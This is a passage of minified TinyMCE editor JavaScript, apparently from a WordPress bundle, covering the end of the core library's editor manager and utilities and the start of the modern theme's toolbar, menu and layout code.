CN[e.id]===e||(null===t.get(e.id)&&("length"!==e.id&&(CN[e.id]=e),CN.push(e),xN.push(e)),NN(!0),t.activeEditor=e,t.fire("AddEditor",{editor:e}),rN||(rN=function(){t.fire("BeforeUnload")},gN.bind(window,"beforeunload",rN))),e},createEditor:function(e,t){return this.add(new tN(e,t,this))},remove:function(e){var t,n,r=this;if(e){if(!S(e))return n=e,A(r.get(n.id))?null:(EN(n)&&r.fire("RemoveEditor",{editor:n}),0===xN.length&&gN.unbind(window,"beforeunload",rN),n.remove(),NN(0<xN.length),n);hN(gN.select(e),function(e){(n=r.get(e.id))&&r.remove(n)})}else for(t=xN.length-1;0<=t;t--)r.remove(xN[t])},execCommand:function(e,t,n){var r=this.get(n);switch(e){case"mceAddEditor":return this.get(n)||new tN(n,this.settings,this).render(),!0;case"mceRemoveEditor":return r&&r.remove(),!0;case"mceToggleEditor":return r?r.isHidden()?r.show():r.hide():this.execCommand("mceAddEditor",0,n),!0}return!!this.activeEditor&&this.activeEditor.execCommand(e,t,n)},triggerSave:function(){hN(xN,function(e){e.save()})},addI18n:function(e,t){xh.add(e,t)},translate:function(e){return xh.translate(e)},setActive:function(e){var t=this.activeEditor;this.activeEditor!==e&&(t&&t.fire("deactivate",{relatedTarget:e}),e.fire("activate",{relatedTarget:t})),this.activeEditor=e}},Cp),oN.setup();var SN,TN=oN;function kN(n){return{walk:function(e,t){return Lc(n,e,t)},split:Um,normalize:function(t){return Dg(n,t).fold(q(!1),function(e){return t.setStart(e.startContainer,e.startOffset),t.setEnd(e.endContainer,e.endOffset),!0})}}}(SN=kN||(kN={})).compareRanges=Eg,SN.getCaretRangeFromPoint=Bb,SN.getSelectedNode=Za,SN.getNode=eu;var _N,AN,RN=kN,DN=Math.min,ON=Math.max,BN=Math.round,PN=function(e,t,n){var r,o,i,a,u,s;return r=t.x,o=t.y,i=e.w,a=e.h,u=t.w,s=t.h,"b"===(n=(n||"").split(""))[0]&&(o+=s),"r"===n[1]&&(r+=u),"c"===n[0]&&(o+=BN(s/2)),"c"===n[1]&&(r+=BN(u/2)),"b"===n[3]&&(o-=a),"r"===n[4]&&(r-=i),"c"===n[3]&&(o-=BN(a/2)),"c"===n[4]&&(r-=BN(i/2)),IN(r,o,i,a)},IN=function(e,t,n,r){return{x:e,y:t,w:n,h:r}},LN={inflate:function(e,t,n){return IN(e.x-t,e.y-n,e.w+2*t,e.h+2*n)},relativePosition:PN,findBestRelativePosition:function(e,t,n,r){var o,i;for(i=0;i<r.length;i++)if((o=PN(e,t,r[i])).x>=n.x&&o.x+o.w<=n.w+n.x&&o.y>=n.y&&o.y+o.h<=n.h+n.y)return r[i];return null},intersect:function(e,t){var n,r,o,i;return n=ON(e.x,t.x),r=ON(e.y,t.y),o=DN(e.x+e.w,t.x+t.w),i=DN(e.y+e.h,t.y+t.h),o-n<0||i-r<0?null:IN(n,r,o-n,i-r)},clamp:function(e,t,n){var r,o,i,a,u,s,c,l,f,d;return u=e.x,s=e.y,c=e.x+e.w,l=e.y+e.h,f=t.x+t.w,d=t.y+t.h,r=ON(0,t.x-u),o=ON(0,t.y-s),i=ON(0,c-f),a=ON(0,l-d),u+=r,s+=o,n&&(c+=r,l+=o,u-=i,s-=a),IN(u,s,(c-=i)-u,(l-=a)-s)},create:IN,fromClientRect:function(e){return IN(e.left,e.top,e.width,e.height)}},FN={},MN={add:function(e,t){FN[e.toLowerCase()]=t},has:function(e){return!!FN[e.toLowerCase()]},get:function(e){var t=e.toLowerCase(),n=FN.hasOwnProperty(t)?FN[t]:null;if(null===n)throw new Error("Could not find module for type: "+e);return n},create:function(e,t){var n;if("string"==typeof e?(t=t||{}).type=e:e=(t=e).type,e=e.toLowerCase(),!(n=FN[e]))throw new Error("Could not find control by type: "+e);return(n=new n(t)).type=e,n}},zN=Xt.each,UN=Xt.extend,jN=function(){};jN.extend=_N=function(n){var e,t,r,o=this.prototype,i=function(){var e,t,n;if(!AN&&(this.init&&this.init.apply(this,arguments),t=this.Mixins))for(e=t.length;e--;)(n=t[e]).init&&n.init.apply(this,arguments)},a=function(){return this},u=function(n,r){return function(){var e,t=this._super;return this._super=o[n],e=r.apply(this,arguments),this._super=t,e}};for(t in AN=!0,e=new this,AN=!1,n.Mixins&&(zN(n.Mixins,function(e){for(var t in e)"init"!==t&&(n[t]=e[t])}),o.Mixins&&(n.Mixins=o.Mixins.concat(n.Mixins))),n.Methods&&zN(n.Methods.split(","),function(e){n[e]=a}),n.Properties&&zN(n.Properties.split(","),function(e){var t="_"+e;n[e]=function(e){return e!==undefined?(this[t]=e,this):this[t]}}),n.Statics&&zN(n.Statics,function(e,t){i[t]=e}),n.Defaults&&o.Defaults&&(n.Defaults=UN({},o.Defaults,n.Defaults)),n)"function"==typeof(r=n[t])&&o[t]?e[t]=u(t,r):e[t]=r;return i.prototype=e,(i.constructor=i).extend=_N,i};var VN=Math.min,HN=Math.max,qN=Math.round,$N=function(e,n){var r,o,t,i;if(n=n||'"',null===e)return"null";if("string"==(t=typeof e))return o="\bb\tt\nn\ff\rr\"\"''\\\\",n+e.replace(/([\u0080-\uFFFF\x00-\x1f\"\'\\])/g,function(e,t){return'"'===n&&"'"===e?e:(r=o.indexOf(t))+1?"\\"+o.charAt(r+1):(e=t.charCodeAt().toString(16),"\\u"+"0000".substring(e.length)+e)})+n;if("object"===t){if(e.hasOwnProperty&&"[object Array]"===Object.prototype.toString.call(e)){for(r=0,o="[";r<e.length;r++)o+=(0<r?",":"")+$N(e[r],n);return o+"]"}for(i in o="{",e)e.hasOwnProperty(i)&&(o+="function"!=typeof e[i]?(1<o.length?","+n:n)+i+n+":"+$N(e[i],n):"");return o+"}"}return""+e},WN={serialize:$N,parse:function(e){try{return JSON.parse(e)}catch(t){}}},KN={callbacks:{},count:0,send:function(t){var n=this,r=Si.DOM,o=t.count!==undefined?t.count:n.count,i="tinymce_jsonp_"+o;n.callbacks[o]=function(e){r.remove(i),delete n.callbacks[o],t.callback(e)},r.add(r.doc.body,"script",{id:i,src:t.url,type:"text/javascript"}),n.count++}},XN={send:function(e){var t,n=0,r=function(){!e.async||4===t.readyState||1e4<n++?(e.success&&n<1e4&&200===t.status?e.success.call(e.success_scope,""+t.responseText,t,e):e.error&&e.error.call(e.error_scope,1e4<n?"TIMED_OUT":"GENERAL",t,e),t=null):setTimeout(r,10)};if(e.scope=e.scope||this,e.success_scope=e.success_scope||e.scope,e.error_scope=e.error_scope||e.scope,e.async=!1!==e.async,e.data=e.data||"",XN.fire("beforeInitialize",{settings:e}),t=Rh()){if(t.overrideMimeType&&t.overrideMimeType(e.content_type),t.open(e.type||(e.data?"POST":"GET"),e.url,e.async),e.crossDomain&&(t.withCredentials=!0),e.content_type&&t.setRequestHeader("Content-Type",e.content_type),e.requestheaders&&Xt.each(e.requestheaders,function(e){t.setRequestHeader(e.key,e.value)}),t.setRequestHeader("X-Requested-With","XMLHttpRequest"),(t=XN.fire("beforeSend",{xhr:t,settings:e}).xhr).send(e.data),!e.async)return r();setTimeout(r,10)}}};Xt.extend(XN,Cp);var YN,GN,JN,QN,ZN=Xt.extend,eE=function(e){this.settings=ZN({},e),this.count=0};eE.sendRPC=function(e){return(new eE).send(e)},eE.prototype={send:function(n){var r=n.error,o=n.success;(n=ZN(this.settings,n)).success=function(e,t){void 0===(e=WN.parse(e))&&(e={error:"JSON Parse error."}),e.error?r.call(n.error_scope||n.scope,e.error,t):o.call(n.success_scope||n.scope,e.result)},n.error=function(e,t){r&&r.call(n.error_scope||n.scope,e,t)},n.data=WN.serialize({id:n.id||"c"+this.count++,method:n.method,params:n.params}),n.content_type="application/json",XN.send(n)}};try{YN=V.window.localStorage}catch(iE){GN={},JN=[],QN={getItem:function(e){var t=GN[e];return t||null},setItem:function(e,t){JN.push(e),GN[e]=String(t)},key:function(e){return JN[e]},removeItem:function(t){JN=JN.filter(function(e){return e===t}),delete GN[t]},clear:function(){JN=[],GN={}},length:0},Object.defineProperty(QN,"length",{get:function(){return JN.length},configurable:!1,enumerable:!1}),YN=QN}var tE,nE=TN,rE={geom:{Rect:LN},util:{Promise:de,Delay:he,Tools:Xt,VK:rv,URI:zw,Class:jN,EventDispatcher:vp,Observable:Cp,I18n:xh,XHR:XN,JSON:WN,JSONRequest:eE,JSONP:KN,LocalStorage:YN,Color:function(e){var n={},u=0,s=0,c=0,t=function(e){var t;return"object"==typeof e?"r"in e?(u=e.r,s=e.g,c=e.b):"v"in e&&function(e,t,n){var r,o,i,a;if(e=(parseInt(e,10)||0)%360,t=parseInt(t,10)/100,n=parseInt(n,10)/100,t=HN(0,VN(t,1)),n=HN(0,VN(n,1)),0!==t){switch(r=e/60,i=(o=n*t)*(1-Math.abs(r%2-1)),a=n-o,Math.floor(r)){case 0:u=o,s=i,c=0;break;case 1:u=i,s=o,c=0;break;case 2:u=0,s=o,c=i;break;case 3:u=0,s=i,c=o;break;case 4:u=i,s=0,c=o;break;case 5:u=o,s=0,c=i;break;default:u=s=c=0}u=qN(255*(u+a)),s=qN(255*(s+a)),c=qN(255*(c+a))}else u=s=c=qN(255*n)}(e.h,e.s,e.v):(t=/rgb\s*\(\s*([0-9]+)\s*,\s*([0-9]+)\s*,\s*([0-9]+)[^\)]*\)/gi.exec(e))?(u=parseInt(t[1],10),s=parseInt(t[2],10),c=parseInt(t[3],10)):(t=/#([0-F]{2})([0-F]{2})([0-F]{2})/gi.exec(e))?(u=parseInt(t[1],16),s=parseInt(t[2],16),c=parseInt(t[3],16)):(t=/#([0-F])([0-F])([0-F])/gi.exec(e))&&(u=parseInt(t[1]+t[1],16),s=parseInt(t[2]+t[2],16),c=parseInt(t[3]+t[3],16)),u=u<0?0:255<u?255:u,s=s<0?0:255<s?255:s,c=c<0?0:255<c?255:c,n};return e&&t(e),n.toRgb=function(){return{r:u,g:s,b:c}},n.toHsv=function(){return e=u,t=s,n=c,o=0,(i=VN(e/=255,VN(t/=255,n/=255)))===(a=HN(e,HN(t,n)))?{h:0,s:0,v:100*(o=i)}:(r=(a-i)/a,{h:qN(60*((e===i?3:n===i?1:5)-(e===i?t-n:n===i?e-t:n-e)/((o=a)-i))),s:qN(100*r),v:qN(100*o)});var e,t,n,r,o,i,a},n.toHex=function(){var e=function(e){return 1<(e=parseInt(e,10).toString(16)).length?e:"0"+e};return"#"+e(u)+e(s)+e(c)},n.parse=t,n}},dom:{EventUtils:Se,Sizzle:St,DomQuery:gn,TreeWalker:go,DOMUtils:Si,ScriptLoader:Ri,RangeUtils:RN,Serializer:Eb,ControlSelection:Db,BookmarkManager:_b,Selection:uC,Event:Se.Event},html:{Styles:gi,Entities:ti,Node:sb,Schema:di,SaxParser:Mv,DomParser:bb,Writer:il,Serializer:al},ui:{Factory:MN},Env:fe,AddOnManager:Bi,Annotator:Hc,Formatter:Gy,UndoManager:ry,EditorCommands:pp,WindowManager:yh,NotificationManager:vh,EditorObservable:Fp,Shortcuts:Qp,Editor:tN,FocusManager:iN,EditorManager:TN,DOM:Si.DOM,ScriptLoader:Ri.ScriptLoader,PluginManager:Bi.PluginManager,ThemeManager:Bi.ThemeManager,trim:Xt.trim,isArray:Xt.isArray,is:Xt.is,toArray:Xt.toArray,makeMap:Xt.makeMap,each:Xt.each,map:Xt.map,grep:Xt.grep,inArray:Xt.inArray,extend:Xt.extend,create:Xt.create,walk:Xt.walk,createNS:Xt.createNS,resolve:Xt.resolve,explode:Xt.explode,_addCacheSuffix:Xt._addCacheSuffix,isOpera:fe.opera,isWebKit:fe.webkit,isIE:fe.ie,isGecko:fe.gecko,isMac:fe.mac},oE=nE=Xt.extend(nE,rE);tE=oE,window.tinymce=tE,window.tinyMCE=tE,function(e){if("object"==typeof module)try{module.exports=e}catch(t){}}(oE)}(window); // Source: wp-includes/js/tinymce/themes/modern/theme.min.js !function(_){"use strict";var e,t,n,i,r=tinymce.util.Tools.resolve("tinymce.ThemeManager"),l=tinymce.util.Tools.resolve("tinymce.EditorManager"),w=tinymce.util.Tools.resolve("tinymce.util.Tools"),d=function(e){return!1!==c(e)},c=function(e){return e.getParam("menubar")},f=function(e){return e.getParam("toolbar_items_size")},h=function(e){return e.getParam("menu")},m=function(e){return!1===e.settings.skin},g=function(e){var t=e.getParam("resize","vertical");return!1===t?"none":"both"===t?"both":"vertical"},p=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),v=tinymce.util.Tools.resolve("tinymce.ui.Factory"),b=tinymce.util.Tools.resolve("tinymce.util.I18n"),o=function(e){return e.fire("SkinLoaded")},y=function(e){return e.fire("ResizeEditor")},x=function(e){return e.fire("BeforeRenderUI")},s=function(t,n){return function(){var e=t.find(n)[0];e&&e.focus(!0)}},R=function(e,t){e.shortcuts.add("Alt+F9","",s(t,"menubar")),e.shortcuts.add("Alt+F10,F10","",s(t,"toolbar")),e.shortcuts.add("Alt+F11","",s(t,"elementpath")),t.on("cancel",function(){e.focus()})},C=tinymce.util.Tools.resolve("tinymce.geom.Rect"),u=tinymce.util.Tools.resolve("tinymce.util.Delay"),E=function(){},k=function(e){return function(){return e}},a=k(!1),H=k(!0),S=function(){return T},T=(e=function(e){return e.isNone()},i={fold:function(e,t){return e()},is:a,isSome:a,isNone:H,getOr:n=function(e){return e},getOrThunk:t=function(e){return e()},getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:k(null),getOrUndefined:k(undefined),or:n,orThunk:t,map:S,each:E,bind:S,exists:a,forall:H,filter:S,equals:e,equals_:e,toArray:function(){return[]},toString:k("none()")},Object.freeze&&Object.freeze(i),i),M=function(n){var e=k(n),t=function(){return r},i=function(e){return e(n)},r={fold:function(e,t){return t(n)},is:function(e){return n===e},isSome:H,isNone:a,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:t,orThunk:t,map:function(e){return M(e(n))},each:function(e){e(n)},bind:i,exists:i,forall:i,filter:function(e){return e(n)?r:T},toArray:function(){return[n]},toString:function(){return"some("+n+")"},equals:function(e){return e.is(n)},equals_:function(e,t){return e.fold(a,function(e){return t(n,e)})}};return r},N={some:M,none:S,from:function(e){return null===e||e===undefined?T:M(e)}},P=function(e){return e?e.getRoot().uiContainer:null},W={getUiContainerDelta:function(e){var t=P(e);if(t&&"static"!==p.DOM.getStyle(t,"position",!0)){var n=p.DOM.getPos(t),i=t.scrollLeft-n.x,r=t.scrollTop-n.y;return N.some({x:i,y:r})}return N.none()},setUiContainer:function(e,t){var n=p.DOM.select(e.settings.ui_container)[0];t.getRoot().uiContainer=n},getUiContainer:P,inheritUiContainer:function(e,t){return t.uiContainer=P(e)}},D=function(i,e,r){var o,s=[];if(e)return w.each(e.split(/[ ,]/),function(t){var e,n=function(){var e=i.selection;t.settings.stateSelector&&e.selectorChanged(t.settings.stateSelector,function(e){t.active(e)},!0),t.settings.disabledStateSelector&&e.selectorChanged(t.settings.disabledStateSelector,function(e){t.disabled(e)})};"|"===t?o=null:(o||(o={type:"buttongroup",items:[]},s.push(o)),i.buttons[t]&&(e=t,"function"==typeof(t=i.buttons[e])&&(t=t()),t.type=t.type||"button",t.size=r,t=v.create(t),o.items.push(t),i.initialized?n():i.on("init",n)))}),{type:"toolbar",layout:"flow",items:s}},O=D,A=function(n,i){var e,t,r=[];if(w.each(!1===(t=(e=n).getParam("toolbar"))?[]:w.isArray(t)?w.grep(t,function(e){return 0<e.length}):function(e,t){for(var n=[],i=1;i<10;i++){var r=e["toolbar"+i];if(!r)break;n.push(r)}var o=e.toolbar?[e.toolbar]:[t];return 0<n.length?n:o}(e.settings,"undo redo | styleselect | bold italic | alignleft aligncenter alignright alignjustify | bullist numlist outdent indent | link image"),function(e){var t;(t=e)&&r.push(D(n,t,i))}),r.length)return{type:"panel",layout:"stack",classes:"toolbar-grp",ariaRoot:!0,ariaRemember:!0,items:r}},B=p.DOM,L=function(e){return{left:e.x,top:e.y,width:e.w,height:e.h,right:e.x+e.w,bottom:e.y+e.h}},z=function(e,t){e.moveTo(t.left,t.top)},I=function(e,t,n,i,r,o){return o=L({x:t,y:n,w:o.w,h:o.h}),e&&(o=e({elementRect:L(i),contentAreaRect:L(r),panelRect:o})),o},F=function(x){var i,o=function(){return x.contextToolbars||[]},n=function(e,t){var n,i,r,o,s,a,l,u=x.getParam("inline_toolbar_position_handler");if(!x.removed){if(!e||!e.toolbar.panel)return c=x,void w.each(c.contextToolbars,function(e){e.panel&&e.panel.hide()});var c,d,f,h,m;l=["bc-tc","tc-bc","tl-bl","bl-tl","tr-br","br-tr"],s=e.toolbar.panel,t&&s.show(),d=e.element,f=B.getPos(x.getContentAreaContainer()),h=x.dom.getRect(d),"BODY"===(m=x.dom.getRoot()).nodeName&&(h.x-=m.ownerDocument.documentElement.scrollLeft||m.scrollLeft,h.y-=m.ownerDocument.documentElement.scrollTop||m.scrollTop),h.x+=f.x,h.y+=f.y,r=h,i=B.getRect(s.getEl()),o=B.getRect(x.getContentAreaContainer()||x.getBody());var g,p,v,b=W.getUiContainerDelta(s).getOr({x:0,y:0});if(r.x+=b.x,r.y+=b.y,i.x+=b.x,i.y+=b.y,o.x+=b.x,o.y+=b.y,"inline"!==B.getStyle(e.element,"display",!0)){var y=e.element.getBoundingClientRect();r.w=y.width,r.h=y.height}x.inline||(o.w=x.getDoc().documentElement.offsetWidth),x.selection.controlSelection.isResizable(e.element)&&r.w<25&&(r=C.inflate(r,0,8)),n=C.findBestRelativePosition(i,r,o,l),r=C.clamp(r,o),n?(a=C.relativePosition(i,r,n),z(s,I(u,a.x,a.y,r,o,i))):(o.h+=i.h,(r=C.intersect(o,r))?(n=C.findBestRelativePosition(i,r,o,["bc-tc","bl-tl","br-tr"]))?(a=C.relativePosition(i,r,n),z(s,I(u,a.x,a.y,r,o,i))):z(s,I(u,r.x,r.y,r,o,i)):s.hide()),g=s,v=function(e,t){return e===t},p=(p=n)?p.substr(0,2):"",w.each({t:"down",b:"up"},function(e,t){g.classes.toggle("arrow-"+e,v(t,p.substr(0,1)))}),w.each({l:"left",r:"right"},function(e,t){g.classes.toggle("arrow-"+e,v(t,p.substr(1,1)))})}},r=function(e){return function(){u.requestAnimationFrame(function(){x.selection&&n(a(x.selection.getNode()),e)})}},t=function(e){var t;if(e.toolbar.panel)return e.toolbar.panel.show(),void n(e);t=v.create({type:"floatpanel",role:"dialog",classes:"tinymce tinymce-inline arrow",ariaLabel:"Inline toolbar",layout:"flex",direction:"column",align:"stretch",autohide:!1,autofix:!0,fixed:!0,border:1,items:O(x,e.toolbar.items),oncancel:function(){x.focus()}}),W.setUiContainer(x,t),function(e){if(!i){var t=r(!0),n=W.getUiContainer(e);i=x.selection.getScrollContainer()||x.getWin(),B.bind(i,"scroll",t),B.bind(n,"scroll",t),x.on("remove",function(){B.unbind(i,"scroll",t),B.unbind(n,"scroll",t)})}}(t),(e.toolbar.panel=t).renderTo().reflow(),n(e)},s=function(){w.each(o(),function(e){e.panel&&e.panel.hide()})},a=function(e){var t,n,i,r=o();for(t=(i=x.$(e).parents().add(e)).length-1;0<=t;t--)for(n=r.length-1;0<=n;n--)if(r[n].predicate(i[t]))return{toolbar:r[n],element:i[t]};return null};x.on("click keyup setContent ObjectResized",function(e){("setcontent"!==e.type||e.selection)&&u.setEditorTimeout(x,function(){var e;(e=a(x.selection.getNode()))?(s(),t(e)):s()})}),x.on("blur hide contextmenu",s),x.on("ObjectResizeStart",function(){var e=a(x.selection.getNode());e&&e.toolbar.panel&&e.toolbar.panel.hide()}),x.on("ResizeEditor ResizeWindow",r(!0)),x.on("nodeChange",r(!1)),x.on("remove",function(){w.each(o(),function(e){e.panel&&e.panel.remove()}),x.contextToolbars={}}),x.shortcuts.add("ctrl+F9","",function(){var e=a(x.selection.getNode());e&&e.toolbar.panel&&e.toolbar.panel.items()[0].focus()})},U=function(t){return function(e){return function(e){if(null===e)return"null";var t=typeof e;return"object"===t&&(Array.prototype.isPrototypeOf(e)||e.constructor&&"Array"===e.constructor.name)?"array":"object"===t&&(String.prototype.isPrototypeOf(e)||e.constructor&&"String"===e.constructor.name)?"string":t}(e)===t}},V=U("array"),Y=U("function"),$=U("number"),q=(Array.prototype.slice,Array.prototype.indexOf),X=Array.prototype.push,j=function(e,t){var n,i,r=(n=e,i=t,q.call(n,i));return-1===r?N.none():N.some(r)},J=function(e,t){for(var n=0,i=e.length;n<i;n++)if(t(e[n],n))return!0;return!1},G=function(e,t){for(var n=e.length,i=new Array(n),r=0;r<n;r++){var o=e[r];i[r]=t(o,r)}return i},K=function(e,t){for(var n=0,i=e.length;n<i;n++)t(e[n],n)},Z=function(e,t){for(var n=[],i=0,r=e.length;i<r;i++){var o=e[i];t(o,i)&&n.push(o)}return n},Q=(Y(Array.from)&&Array.from,{file:{title:"File",items:"newdocument restoredraft | preview | print"},edit:{title:"Edit",items:"undo redo | cut copy paste pastetext | selectall"},view:{title:"View",items:"code | visualaid visualchars visualblocks | spellchecker | preview fullscreen"},insert:{title:"Insert",items:"image link media template codesample inserttable | charmap hr | pagebreak nonbreaking anchor toc | insertdatetime"},format:{title:"Format",items:"bold italic underline strikethrough superscript subscript codeformat | blockformats align | removeformat"},tools:{title:"Tools",items:"spellchecker spellcheckerlanguage | a11ycheck code"},table:{title:"Table"},help:{title:"Help"}}),ee=function(e,t){return"|"===e?{name:"|",item:{text:"|"}}:t?{name:e,item:t}:null},te=function(e,t){return function(e,t){for(var n=0,i=e.length;n<i;n++)if(t(e[n],n))return N.some(n);return N.none()}(e,function(e){return e.name===t}).isSome()},ne=function(e){return e&&"|"===e.item.text},ie=function(n,e,t,i){var r,o,s,a,l,u,c;return e?(o=e[i],a=!0):o=Q[i],o&&(r={text:o.title},s=[],w.each((o.items||"").split(/[ ,]/),function(e){var t=ee(e,n[e]);t&&s.push(t)}),a||w.each(n,function(e,t){e.context!==i||te(s,t)||("before"===e.separator&&s.push({name:"|",item:{text:"|"}}),e.prependToContext?s.unshift(ee(t,e)):s.push(ee(t,e)),"after"===e.separator&&s.push({name:"|",item:{text:"|"}}))}),r.menu=G((l=t,u=Z(s,function(e){return!1===l.hasOwnProperty(e.name)}),c=Z(u,function(e,t){return!ne(e)||!ne(u[t-1])}),Z(c,function(e,t){return!ne(e)||0<t&&t<c.length-1})),function(e){return e.item}),!r.menu.length)?null:r},re=function(e){for(var t,n=[],i=function(e){var t,n=[],i=h(e);if(i)for(t in i)n.push(t);else for(t in Q)n.push(t);return n}(e),r=w.makeMap((t=e,t.getParam("removed_menuitems","")).split(/[ ,]/)),o=c(e),s="string"==typeof o?o.split(/[ ,]/):i,a=0;a<s.length;a++){var l=s[a],u=ie(e.menuItems,h(e),r,l);u&&n.push(u)}return n},oe=p.DOM,se=function(e){return{width:e.clientWidth,height:e.clientHeight}},ae=function(e,t,n){var i,r,o,s;i=e.getContainer(),r=e.getContentAreaContainer().firstChild,o=se(i),s=se(r),null!==t&&(t=Math.max(e.getParam("min_width",100,"number"),t),t=Math.min(e.getParam("max_width",65535,"number"),t),oe.setStyle(i,"width",t+(o.width-s.width)),oe.setStyle(r,"width",t)),n=Math.max(e.getParam("min_height",100,"number"),n),n=Math.min(e.getParam("max_height",65535,"number"),n),oe.setStyle(r,"height",n),y(e)},le=ae,ue=function(e,t,n){var i=e.getContentAreaContainer();ae(e,i.clientWidth+t,i.clientHeight+n)},ce=tinymce.util.Tools.resolve("tinymce.Env"),de=function(e,t,n){var i,r=e.settings[n];r&&r((i=t.getEl("body"),{element:function(){return i}}))},fe=function(c,d,f){return function(e){var t,n,i,r,o,s=e.control,a=s.parents().filter("panel")[0],l=a.find("#"+d)[0],u=(t=f,n=d,w.grep(t,function(e){return e.name===n})[0]);i=d,r=a,o=f,w.each(o,function(e){var t=r.items().filter("#"+e.name)[0];t&&t.visible()&&e.name!==i&&(de(e,t,"onhide"),t.visible(!1))}),s.parent().items().each(function(e){e.active(!1)}),l&&l.visible()?(de(u,l,"onhide"),l.hide(),s.active(!1)):(l?l.show():(l=v.create({type:"container",name:d,layout:"stack",classes:"sidebar-panel",html:""}),a.prepend(l),de(u,l,"onrender")),de(u,l,"onshow"),s.active(!0)),y(c)}},he=function(e){return!(ce.ie&&!(11<=ce.ie)||!e.sidebars)&&0<e.sidebars.length},me=function(n){return{type:"panel",name:"sidebar",layout:"stack",classes:"sidebar",items:[{type:"toolbar",layout:"stack",classes:"sidebar-toolbar",items:w.map(n.sidebars,function(e){var t=e.settings;return{type:"button",icon:t.icon,image:t.image,tooltip:t.tooltip,onclick:fe(n,e.name,n.sidebars)}})}]}},ge=function(e){var t=function(){e._skinLoaded=!0,o(e)};return function(){e.initialized?t():e.on("init",t)}},pe=p.DOM,ve=function(e){return{type:"panel",name:"iframe",layout:"stack",classes:"edit-area",border:e,html:""}},be=function(t,e,n){var i,r,o,s,a;if(!1===m(t)&&n.skinUiCss?pe.styleSheetLoader.load(n.skinUiCss,ge(t)):ge(t)(),i=e.panel=v.create({type:"panel",role:"application",classes:"tinymce",style:"visibility: hidden",layout:"stack",border:1,items:[{type:"container",classes:"top-part",items:[!1===d(t)?null:{type:"menubar",border:"0 0 1 0",items:re(t)},A(t,f(t))]},he(t)?(s=t,{type:"panel",layout:"stack",classes:"edit-aria-container",border:"1 0 0 0",items:[ve("0"),me(s)]}):ve("1 0 0 0")]}),W.setUiContainer(t,i),"none"!==g(t)&&(r={type:"resizehandle",direction:g(t),onResizeStart:function(){var e=t.getContentAreaContainer().firstChild;o={width:e.clientWidth,height:e.clientHeight}},onResize:function(e){"both"===g(t)?le(t,o.width+e.deltaX,o.height+e.deltaY):le(t,null,o.height+e.deltaY)}}),t.getParam("statusbar",!0,"boolean")){var l=b.translate(["Powered by {0}",'<a href="https://www.tiny.cloud/?utm_campaign=editor_referral&utm_medium=poweredby&utm_source=tinymce" rel="noopener" target="_blank" role="presentation" tabindex="-1">Tiny</a>']),u=t.getParam("branding",!0,"boolean")?{type:"label",classes:"branding",html:" "+l}:null;i.add({type:"panel",name:"statusbar",classes:"statusbar",layout:"flow",border:"1 0 0 0",ariaRoot:!0,items:[{type:"elementpath",editor:t},r,u]})}return x(t),t.on("SwitchMode",(a=i,function(e){a.find("*").disabled("readonly"===e.mode)})),i.renderBefore(n.targetNode).reflow(),t.getParam("readonly",!1,"boolean")&&t.setMode("readonly"),n.width&&pe.setStyle(i.getEl(),"width",n.width),t.on("remove",function(){i.remove(),i=null}),R(t,i),F(t),{iframeContainer:i.find("#iframe")[0].getEl(),editorContainer:i.getEl()}},ye=tinymce.util.Tools.resolve("tinymce.dom.DomQuery"),xe=0,we={id:function(){return"mceu_"+xe++},create:function(e,t,n){var i=_.document.createElement(e);return p.DOM.setAttribs(i,t),"string"==typeof n?i.innerHTML=n:w.each(n,function(e){e.nodeType&&i.appendChild(e)}),i},createFragment:function(e){return p.DOM.createFragment(e)},getWindowSize:function(){return p.DOM.getViewPort()},getSize:function(e){var t,n;if(e.getBoundingClientRect){var i=e.getBoundingClientRect();t=Math.max(i.width||i.right-i.left,e.offsetWidth),n=Math.max(i.height||i.bottom-i.bottom,e.offsetHeight)}else t=e.offsetWidth,n=e.offsetHeight;return{width:t,height:n}},getPos:function(e,t){return p.DOM.getPos(e,t||we.getContainer())},getContainer:function(){return ce.container?ce.container:_.document.body},getViewPort:function(e){return p.DOM.getViewPort(e)},get:function(e){return _.document.getElementById(e)},addClass:function(e,t){return p.DOM.addClass(e,t)},removeClass:function(e,t){return p.DOM.removeClass(e,t)},hasClass:function(e,t){return p.DOM.hasClass(e,t)},toggleClass:function(e,t,n){return p.DOM.toggleClass(e,t,n)},css:function(e,t,n){return p.DOM.setStyle(e,t,n)},getRuntimeStyle:function(e,t){return p.DOM.getStyle(e,t,!0)},on:function(e,t,n,i){return p.DOM.bind(e,t,n,i)},off:function(e,t,n){return p.DOM.unbind(e,t,n)},fire:function(e,t,n){return p.DOM.fire(e,t,n)},innerHtml:function(e,t){p.DOM.setHTML(e,t)}},_e=function(e){return"static"===we.getRuntimeStyle(e,"position")},Re=function(e){return e.state.get("fixed")};function Ce(e,t,n){var i,r,o,s,a,l,u,c,d,f;return d=Ee(),o=(r=we.getPos(t,W.getUiContainer(e))).x,s=r.y,Re(e)&&_e(_.document.body)&&(o-=d.x,s-=d.y),i=e.getEl(),a=(f=we.getSize(i)).width,l=f.height,u=(f=we.getSize(t)).width,c=f.height,"b"===(n=(n||"").split(""))[0]&&(s+=c),"r"===n[1]&&(o+=u),"c"===n[0]&&(s+=Math.round(c/2)),"c"===n[1]&&(o+=Math.round(u/2)),"b"===n[3]&&(s-=l),"r"===n[4]&&(o-=a),"c"===n[3]&&(s-=Math.round(l/2)),"c"===n[4]&&(o-=Math.round(a/2)),{x:o,y:s,w:a,h:l}}var Ee=function(){var e=_.window;return{x:Math.max(e.pageXOffset,_.document.body.scrollLeft,_.document.documentElement.scrollLeft),y:Math.max(e.pageYOffset,_.document.body.scrollTop,_.document.documentElement.scrollTop),w:e.innerWidth||_.document.documentElement.clientWidth,h:e.innerHeight||_.document.documentElement.clientHeight}},ke=function(e){var t,n=W.getUiContainer(e);return n&&!Re(e)?{x:0,y:0,w:(t=n).scrollWidth-1,h:t.scrollHeight-1}:Ee()},He={testMoveRel:function(e,t){for(var n=ke(this),i=0;i<t.length;i++){var r=Ce(this,e,t[i]);if(Re(this)){if(0<r.x&&r.x+r.w<n.w&&0<r.y&&r.y+r.h<n.h)return t[i]}else if(r.x>n.x&&r.x+r.w<n.w+n.x&&r.y>n.y&&r.y+r.h<n.h+n.y)return t[i]}return t[0]},moveRel:function(e,t){"string"!=typeof t&&(t=this.testMoveRel(e,t));var n=Ce(this,e,t);return this.moveTo(n.x,n.y)},moveBy:function(e,t){var n=this.layoutRect();return this.moveTo(n.x+e,n.y+t),this},moveTo:function(e,t){var 